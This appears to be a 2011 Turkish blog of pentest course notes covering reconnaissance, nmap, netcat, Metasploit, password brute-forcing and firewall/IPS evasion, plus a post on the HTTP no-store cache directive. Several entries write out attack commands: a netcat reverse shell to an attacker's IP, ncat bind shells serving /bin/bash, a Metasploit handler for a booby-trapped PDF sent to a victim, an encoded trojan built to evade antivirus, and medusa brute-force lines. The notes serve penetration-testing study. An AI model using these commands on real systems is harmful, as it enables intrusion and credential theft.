26 Temmuz 2011 Salı

Pentest in Practice - XI: Firewall/IPS Evasion

Firewall, IPS vb Atlatma

  • IPS'lerin çok başarılı olamamasının 2 nedeni:
    • Webden gelen saldırılar
    • Post-exploitation'da SSL üzerinden (socat, netcat, meterpreter) reverse-shell
  • Firewall, kural tablosuna (iptable) top-down bakar; bulduğu duruma uyan ilk kuralı çalıştırır ve tabloya bakmayı bırakır.
  • hackvertor.co.uk/public => Encoding ile ilgili akla gelen tüm yöntemlerin olduğu site.
  • Firewall var mı kontrolü:
    • Telnet ile bloklanacak bir talep (GET/POST) gönderilir. Mesela ../../../etc/passwd gibi
    • Sunucudan cevap dönmemesi (Connection closed by foreign host benzeri bir kesilme) durumunda web sunucuya ulaşmadan istek engelleniyor demektir.
    • Talebe sunucudan yanıt (response, 404 not found vb) dönmesi, isteğin sunucuya kadar ulaştığını, bir cihaz tarafından kesilmediğini / engellenmediğini gösterir.
    • Bu kontrolü yaparken telnet kullanmakta fayda var. Doğrudan browser üzerinden yapılacak denemelerde browserlar girilen URL üzerinde gerekli düzenleme yaparak (mesela /etc/./passwd gibi girilecek deneme stringini /etc/passwd olarak düzenleyip göndermek gibi) gönderebilir; istediğimiz kalıbı deneyememiş oluruz.
  • Atlatma Yöntemi: Packet Fragmentation.
    • IP fragmentation'ı kullanabilmek için "rp_filter" disable edilir.
      • $ echo 0 > /proc/sys/net/ipv4/conf/all/rp_filter; ya da
      • $ echo 0 > /proc/sys/net/ipv4/conf/eth0/rp_filter
    • Daha sonra fragmentation:
      • $ fragroute -f /usr/local/etc/fragroute.conf 95.173.123.112
    • Sonra telnet ile talep gönderilir. IPS doğru yapılandırılmadıysa sonuç sunucudan gelecektir; IPS'i atlattık demektir.
  • Atlatma Yöntemi: Encoding
  • Atlatma Yöntemi: SSL Kullanımı
    • telnet akbank.com 80 yerine
    • ncat --ssl akbank.com 443 kullanmak.
    • Layer-7 IPS ile SSL el sıkışma işi IPS tarafından yapılmadığı sürece SSL ile gönderilen taleplerin içeriğini IPS göremeyecek ve dolayısıyla talepler üzerinde kuralları işletemeyecektir.
  • Yanıtın IPS'ten mi, web/uygulama sunucudan mı döndüğü kontrolü:
    •  Normal bir talep gönderilir; TTL değeri tespit edilir (WireShark vb kullanılabilir)
    • IPS tarafından engellenecek bir talep gönderilir; TTL değeri tespit edilir
    • İkisi karşılaştırılır. Sunucu TTL'i 256'dan, IPS 128'den düşüyor olabilir mesela, TTL değerleri oldukça farklı olacaktır bu gibi durumlarda.
  • LoadBalancer varlığı kontrolü:
    • Resimvb içerik, varsa loadbalancer cihaz üzerinden servis edilir. Sunucu ile LoadBalancer cihazların TTL politikaları farklıysa yanıtı kimin döndüğünü yorumlayabiliriz.
    • LoadBalancer atlatma yöntemi: Search. LoadBalancer buna birşey yapamaz. Eş zamanlı birçok arama gönderildiğini düşün.

Pentest in Practice - X: Social Engineering

Sosyal Mühendislik

  • www.social-engineer.org => Social engineering toolkit
  • set (Social Engineering Toolkit)
    • BackTrack5'te kurulu geliyor => /pentest/exploits/set
    • set-update => Sık güncellendiğinden kullanmadan önce bunu yapmakta fayda var.
    • ./set => console UI; ./set-web => graphical UI
    • # use /exploit/multi/handler

25 Temmuz 2011 Pazartesi

Pentest in Practice - IX: Pratik Bilgiler

  • # ncat -l 1900 --keep-open --send-only --ssh-exe /bin/bash &
  • Bir linux sisteme girildikten sonra yapılacak araştırmalar:
    • 777 izinli dosyalara bakılır
    • .***_history (.bash_history gibi) dosyalarına bakılır
    • -netstat -rn (routing table)
    • /sbin/arp -an => network taraması
  • ssh -l <user> 95.173.123.112 -p <port|22>
  • FTP port açıksa:
    • Hemen anonymous ftp açık olup olmadığına bakılır.
    • En çok kullanılan ftp user/pwd çiftleri ile brute force denemeleri yapılır.
    • İyi bir pwd list olarak backtrack içindeki /pentest/passwords/john/password.lst kullanılabilir.
    • medusa ile ftp brute force => # medusa -M ftp -h <URL> -U <user-list> -P <pwd-list>
  • Nessus'un raporladığı açıklıklarla ilgili önce google'da "jboss metasploit" tarzı bir arama yap.
  • Karşı tarafta bir bind_tcp shell açtığımızı düşünelim. 
    • Eğer varsa nc (netcat) ile bir portu dinlemeye açıp oraya bağlanabiliriz.
    • Yoksa, ncat, ftp, tftp vs "ne açık?" taraması yapalım.
    • ncat -l 6666 --keep-open --udp --send_only --ssh.exe /bin/bash &

Pentest in Practice - VIII: Password Cracking

Password Cracking

  • www.skullsecurity.org => Sözlükler
  • Crunch => wordlist generator
  • Rainbow table'lar ile ilgili google'da "hash calculator" ve "hash cracker" kavramları aratılabilir.
  • John The Ripper (Kısaca John ya da JTR) => Linux makinelerin şifrelerini kırmak için tek kullanışlı seçenek. Bir başka örnek: hashcat. (JTR'i tercih ediyoruz)
  • Cain & Abel
    • Dinlenen trafikte yakaladığın password hash'lerini kır diyebiliyoruz. Salt kullanan durumlar desteklenmiyor.
  • http://md5.rednoize.com/ => md5'i google üzerinden forumlarda arıyor.
  • /etc/shadow ya da /etc/master.passwd
  • SALT: 
    • Tuzlanmış değer, tuzu bilmeden bir işe yaramaz.
    • Tuzlanmış değerler için hazır rainbow table'lar işe yaramaz; o tuz değeri için hazırlanmış tablolar gerekir.
    • $1$ => md5
    • $6$ => sha512
  • John The Ripper
    • Dağıtık yapıda çalıştırılabiliyor.
    • Öntanımlı ayarlarla önce yaklaşık 3000'lik bir password listesi tarıyor; daha sonra username'e göre üretilen şifreler denemeye başlıyor; "root" kullanıcısı için "Root123" şifresi gibi.
    • En basit kullanımı: "# john <dosya-adı>"
    • Wordlist ile kullanım: "# john -w:</path/ve/dosya-adı>"
    • JTR'nin yapacağı brute force denemeleri için min ve max şifre uzunluklarını john.conf dosyası içinden belirleyebiliriz.
    • JTR ile sadece rakam denemeleri: "# john -i:digits <dosya-adı>"
    • JTR uygulamasının ticari versiyonu mevcut. O versiyonda dağıtık olarak brute force denemeleri yönetilebiliyor.
Active Online Password Cracking

  • Medusa, Hydra, Brutus
  • Medusa
    • Güncel + modül desteği var.
    • # medusa -d <modül>
    • # medusa -M mssql -q ...
    • Diğer sık kullanılan medusa parametreleri:
      • -h <URL>
      • -H <dosya-adı>
      • -u <kullanıcı-adı>
      • -U <kullanıcı-adı-dosyası>
      • -p <şifre>
      • -P <şifre-dosyası>
    • Örnek: SSH => # medusa -M ssh -m BANNER:SSH-2.0-FOOBAR -h 192.168.200.41 -u root -P /pentest/pwd/p.lst -f
    • Örnek: Basic Authentication => # medusa -h <host> -DIR:/path/
  • DEPANT: Yerel ağda password brute force için sadece bu yeterli.

Pentest in Practice - VII: Metasploit

Metasploit

  • Exploit araştırma => Security Focus
  • Metasploit'taki Payload: Exploit sonrası çalıştırılacak içerik.
  • Payload içeriğinin anlaşılmaması için "encoder".
  • Auxiliary: Exploit etmede yardımcı araçlar.
  • Metasploit kullanırken sıkça kullanılan komutlar:
    • > help
    • > search <ms08_067>
    • > search <tomcat>
    • > show
    • > show exploits
    • > use <exploit-adı>
    • > info <exploit-adı> (ya da exploit içindeyken sadece info yazmak yeterli)
    • > back
    • > show payloads => Exploit seçildikten sonra kullanılırsa sadece o exploit ile kullanılabilecek payload'lar listelenir.
    • > set payload <payload-adı>
    • > show options => Set edilmesi gereken parametreleri gösterir. Ayrıca hangi payload'un seçili olduğunu ve o payload'un parametrelerini gösterir.
    • > set RHOST <ip-addr> => Bir option (parametre) set etme örneği
    • > check => Tüm değer atamalar da tamamlandıktan sonra exploit çalışıp çalışmadığı testi.
    • > exploit => Run!
  • borwser-autopwn => Tüm browser açıklıklarını barındıran bir sayfa hazırlar, bağlanan istemci browser'ı üzerinde exploit'ları tek tek dener.
  • Sık kullanılan bazı meterpreter komutları:
    • meterpreter> getsystem
    • meterpreter> getuid
    • meterpreter> execute -f "cmd.exe"
    • meterpreter> execute -f "cmd.exe" -i
    • meterpreter> exit
  • Senaryo: Reverse shell açan bir payload barındıran PDF dosyası oluşturarak kurbana gönderdik. Sonra dinleme moduna geçiyoruz:
    • > use exploit/multi/handler
    • > set payload windows/meterpreter/reverse_tcp
    • > set LHOST <ip>
    • > set LPORT <port>
    • > exploit
  • msfpayload => Trojan vb payload oluşturma.
  • metsvc => Meterpreter payload'unu makinede servis olarak çalıştırır.
  • msfencode => Payload'u encode ederek binary dosyaya gömer. Antivirüs programlarının işini zorlaştırmaktır amaç.
  • msfpayload ve msfencode birlikte kullanımı:
    • msfpayload /windows/meterpreter/bind_tcp LPORT=443 | msfencode -e x86/shikata_ga_hai -i 5 > ajanX.exe

18 Temmuz 2011 Pazartesi

No-Store Nedir?

En uygun cache kullanımı konusunda tavsiye edilen kombinasyon şu:
Cache-Control: no-cache, no-store
Pragma: no-cache
Expires: -1
Bu noktada, Cache-Control header'ında no-cache yanında no-store kullanımı gerekliliğinin nedenini anlamaya çalışıyorum.

"no-store" ayarının/direktifinin ne işe yaradığına dair: http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.9.2
...

  • "No-Store" direktifinin amacı, hassas bilgilerin dikkatsizce yayımlanmasının ya da saklanmasının/tutulmasının (mesela backup teypleri tarafından) engellenmesidir.
  • No-Store direktifi, tüm mesaja (talep ya da yanıt) uygulanır ve hem talep hem de yanıtta kullanılabilir.
    • Talepte kullanılırsa, hem talep hem de yanıtın hiçbir parçası önbellek tarafından depolanmaz (MUST NOT store kabılı kullanılıyor).
    • Yanıtta kullanılırsa, o yanıtın hiçbir parçası ve yanıtın neden olacağı / ortaya çıkaracağı taleplerin (302 sonrası yapılan talep örnek gösterilebilir) hiçbir parçası depolanmayacaktır (MUST NOT store).
  • Direktif, hem paylaşılmış hem de paylaşılmamış önbellekler üzerinde uygulanır.
  • Burada "MUST NOT Store" kalıbının anlamı: önbellek kasıtlı olarak bilgiyi geçici-olmayan (non-volatile) depoda saklayamaz ve bilgiyi gönderir göndermez geçici depolardan silmek için en iyi eforu sergilemekle yükümlüdür.
  • Bu direktif yanıt ile ilişkilendirilmiş olsa bile, kullanıcılar böyle bir talebi önbellek sisteminin dışında bir yere açıkça kopyalayabilirler (mesela "save as" diyaloğu ile). History tampon bellekleri bu tür yanıtları normal operasyonlarının bir parçası olarak depolayabilirler.
  • Bu direktifin amacı, gerçek kullanıcıların ve bilginin beklenmeyen önbellek veri yapısı erişimi yolu ile kazara yayımlanmasından endişe eden servis yazarlarının belirli ihtiyaçlarını karşılamak.

6 Temmuz 2011 Çarşamba

Pentest in Practice - VI: NetCat

NetCat

  • "netcat" ya da "nc" komutu
  • Portu açar = Portu dinlemeye alan bir uygulama çalıştırır.
  • DNS Cat ==> İncele!
  • Dinleme modu: $nc 10.1.1.5 99 (nc <ip> <port>)
  • Sunucu modu: nc -l -p 99 (99. portu dinlemeye aç)
  • Senaryo:
    • Kurban makinede RCE (remote code execution) zafiyeti olan bir web uygulaması var.
    • Saldırgan tarafında sunucu başlat ==> nc -l -p 443
    • Kurban makinedeki web uygulamasında ==> nc <saldırganRealIP> 443 -e /bin/bash
    • Senaryoda saldırgan makinenin NAT arkasında olmadığı düşünülüyor.
    • Kurban makinede dışarı çıkış izni olan bir port kullanmak lazım. Senaryoda bu nedenle 443 portu kullanılıyor; https için kullanılan port; genelde dışarı doğru açık olur.
  • Bir makine üzerinden başka bir makine ele geçirme ==> $nc -l -p 80 | nc 5.5.5.6 445
  • NetCat ile port tarama ==> nc -z -v <IP-aralığı>

Pentest in Practice - V: NMap Family

NMap Ailesi

  • NMap araç ailesi:
    • Nping ==> hping muadili
    • Ncat ==> netcat (nc) muadili
    • NSE ==> NMap Security Engine
    • Ncrack ==> Medusa + Hydra. Uzaktan parola kırma.
  • Bu araçların oturması için biraz zamana ihtiyacı var. Yine de mesela netcat'e izin vermeyen makinelerde Ncat kullanımı denenebilir.
  • Ncat
    • netcat komutunda -e ile (ve -c) komut çalıştırılabiliyor. Yeni nesil netcast'lerde bu özellik kaldırılmış olabilir. Bu durumda Ncat kullanımı alternatif olarak düşünülebilir.
  • NMap
    • Default değerlerle tarama yapılırsa en çok kullanılan 1000 portu tarar; tüm portlara bakmaz
    • Tüm portlara bakması için: -p 1-65535
    • Default değerlerle tarama yapılırsa DNS'ten isim çözümlemesi yapmaya çalışır. Bu zaman kaybını engellemek için -n ile "DNS çözümlemesi yapma" diyebiliriz.
    • nmap çalışırken <Enter>a basıldığında taramanın yüzde kaçlık diliminde olduğu görüntülenir.
    • -sP: Ping scan.
    • İşe yarar tarama türleri (Bunlar dışındaki taramaları statful firewall'lar yakalar ve engeller zaten):
      • -sS ==> SYN scan. 3lü el sıkışma tamamlanmadığı için IP-spoofing ile kendimizi gizleyebiliriz.
      • -sV ==> Port üzerinde çalışan uygulamanın versiyonunu belirleme
      • -sU ==> UDP scan.
      • -sT ==> TCP scan. 3lü el sıkışma tamamlanır.
    • TCP tarafında:
      • Önce -sS denenir. Syn-proxy vb varsa sağlıklı sonuç alınamaz, bu durumda
      • -sT denenir. Bu da işe yaramazsa
      • -sV ile denenir.
    • UDP tarafında:
      • UDP taleplerine yanıt dönülmediği için tarama sıkıntılı. 
      • Açık port için cevap dönmeyecek; kapalı port için "Port Unreachable" dönecek.
      • Firewall, kapalı portlar için yanıt dönmesini engelliyor olabilir. Bu nedele nmap cevap gelmediği durumları "open/filtered" olarak yorumlar.
      • Sağlıklı sonuç alabilmek için -sU taramasını -sV ile yapmak şart.
      • nmap'in yanıt yorumunu incelemek için --reason parametresi.
    • -O ==> OS detection. --script ile OS detection scriptleri de kullanılabilir, incelemekte fayda var.
    • -A ==> -sV + -sC + -O + --traceroute birleşimi.
    • Syn-proxy / Syn-cookie aktif sistemlerde:
      • Portun açık mı kapalı mı olduğuna bakmaksızın her talebe SYN-ACK gönderir. Sıradan bir -sS taramasında tüm portlar açık gibi bir sonuç elde edilir.
      • 3lü el sıkışma tamamlanana kadar Syn-proxy devrede, sonra aradan çekiliyor. -sV parametresinde el sıkışmadan sonrasında devam edildiği için sağlıklı sonuç alınır; daha doğrusu cevap alınır.
  • linux'teki "lsof -i -nn" komutunu incele!
    • Hangi kullanıcı, hangi prosesleri açmış; hangi porttan nerelere bağlanıyor ==> Açık portlar listesi

Pentest in Practice - IV: Aktif Bilgi Toplama (Devamı)

  • DNS hakkında bilgi toplama
    • 2 tür DNS:
      • Genele açık DNS. Tüm talepleri yanıtlamaya çalışır.
      • Yetkili (Authoritive) DNS.
    • $dig NS site.com.tr
    • $dig www.google.com @dns1.ktu.edu.tr
    • Sniffer.net ==> subdomain'leri çıkarmak için bir araç mevcut.
    • dnsenum: Bactrack5 içinde /pentest/enumeration/dns/dnsenum ==> Brute forcing.
      • Zone transferi yapılabiliyor mu? Cevap evet ise teste devam etme zaten :)
      • TCP port 53
    • Relay control ==> clez.net
    • Klasik kontrol: Spam gönderimine açık web sunucu.
  • SNMP ile ilgili bilgi toplama
    • snmpenum
    • Nessus SNMP scanner
    • Cain ==> Cisco SNMP Config Downloader
  • FOCA ==> ?

4 Temmuz 2011 Pazartesi

Pentest in Practice - III: Aktif Bilgi Toplama

Aktif Bilgi Toplama

  • İz bırakan bilgi toplama yöntemleri.
  • Ağ haritası çıkarma: Router, Firewall, IPS, WAF...
  • Açık sistemler, açık portlar vs bilgileri toplama.
  • TraceRoute / Tracert
    • Windows'ta ICMP, linux'te UDP port 30000 üzerinden çalışır
    • tcptraceroute. TCP 80 portundan çalışır.
      • Linux'te komut olarak var.
      • serversniff.net'te "IP tools" menüsü altında var.
    • dig MX ... ==> Mail exchange sorgulaması
  • NMAP
    • -Pn ==> "Ping atma" diyoruz nmap'e.
  • IPS Keşfi Çalışması
    • IPS'lerin çok büyük çoğunluğu Layer2 çalışır; dolayısıyla TTL değeri incelemesiyle filan IPS keşfi yapılamaz.
    • Test: IPS'in yakalayacağından emin olduğun bir talep gönder, ../../ ya da etc/passwd gibi. Sonra dönen yanıtı incele.
    • Örnek: 
      • telnet www.site.com 80
      • GET ../../../cmd.exe HTTP/1.0
      • Web sunucudan yanıt (200'lü, 400'lü vs) dönmüyor da "Connection closed by foreign host" gibi bir yanıt dönüyorsa...
    • IPS çalışma mantığı
      • DRP
      • RST
    • IPS evasion technique:
      • IPS, SYN talebi içinde geçen kurcalanmış payload'ları loglamaya çalışıyorsa (stateful çalışmıyor demektir) IPS şişirilerek kontrol edilemez hale getirilir. Bu durumda IPS çoğunlukla gelen trafiği incelemeden geçirmeye başlar; diğer bir yol, tüm trafiği engellemesidir ki genelde tercih edilmez.
  • Syn-Cookie. Açık olan/olmayan her port için (ilgili makineye hiç gitmeden) açık cevabı gönderir. Bu, SYN scan işe yaramaz demektir.
  • WAF Keşfi. WafW00f
  • Sistem uptime'ının belirlenmesi: hping3 -s --tcp-timestamp...

Pentest in Practice - II: Pasif Bilgi Toplama

Pasif Bilgi Toplama

  • The Harvester: Bactrack5'te /pentest/enumeration/theharvester
    • $ python theharvester.py -d www.site.com.tr -b google -l 100
  • Netcraft
    • Eski olabilir; nmap ile alınan sonuçları teyit amacıyla kullanılabilir.
  • Aynı IP üzerindeki domain'leri sorgulamak için: 
    • bing.com ==> ip:www.site.com.tr
    • robtex.com
  • pipl.com: Kişi hakkında web üzerinde araştırma yapar.
  • GHDB: Google Hacking DataBase
    • www.hackersforcharity.org/ghdb
    • johnny.ihackstaff.com
    • exploit-db.com ==> GooLag Scanner
  • Online pasif bilgi toplama:
    • clez.net
    • serversniff.net
    • hackertarget.com

Pentest in Practice - I: Genel

  • DRADIS Pentest Framework: Pentest ekiplerinin çalışma süresince bulgularını paylaşabilecekleri ortam.
  • İç pentestlerde öncelik, ağ altyapısının güvenliğidir. Güvenlik için kurulacak araçlar ancak altyapı kadar güvenli olabilir.
  • ISSAF: Adım adım testleri ve açıklıkların nasıl exploit edileceğini anlatır bir proje. Son zamanlarda güncellenmemiş olmaklakla birlikte pentest işine yeni başlayanlar için oldukça değerli bir kaynak (En son Mayıs 2006'da güncellenmiş görünüyor).
  • Penetration Testing Framework
    • http://www.vulnerabilityassessment.co.uk
    • "Şu konuyla alakalı hangi araçları kullanabilirim?"
    • Test yaparken sürekli açık olmasında fayda var. Açık bir port buldun ve üzerinde çalışan uygulamayı belirledin, "şimdi neler yapabilirim" sorusunun cevabı bu sitede.
  • FireCAT: Firefox Catalog of Auditing ExTensions. Testlerde ve denetlemelerde yararlanılabilecek Firefox plug-in'leri.

Web Uygulama Sızma Testleri İçin Kontrol Listeleri - V

Checklist for Web App Pentesting - V 6. Veri Denetimi (Data Validation) Testleri 6.1 Girdi Denetimi Bütün girdiler denetlenmelidir....